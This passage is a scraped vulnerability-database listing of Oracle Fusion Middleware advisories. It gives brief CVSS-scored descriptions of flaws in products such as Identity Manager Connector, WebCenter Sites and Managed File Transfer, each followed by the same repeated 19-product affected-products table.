vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical or all accessible data, with a CVSS 3.1 base score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with infrastructure access to fully compromise the connector, with a CVSS 3.1 base score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated network attackers via TLS to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with physical network access to potentially compromise the component, scoring 7.5 on the CVSS 3.1 scale.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access and user interaction to potentially manipulate critical data, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTPS network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-privileged attacker with network access via LDAP can exploit a vulnerability in Oracle Identity Manager Connector for Oracle Fusion Middleware (versions 12.2.1.4.0 and 14.1.2.1.0) to compromise confidentiality, integrity, and availability, with a CVSS 3.1 base score of 8.0.
8.0 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.6.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle SOA Suite's B2B Engine (versions 12.2.1.4.0 and 14.1.2.0.0) allows a low-privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Managed File Transfer versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged network attacker to fully compromise the system, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical or all accessible data, rated CVSS 3.1 base score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
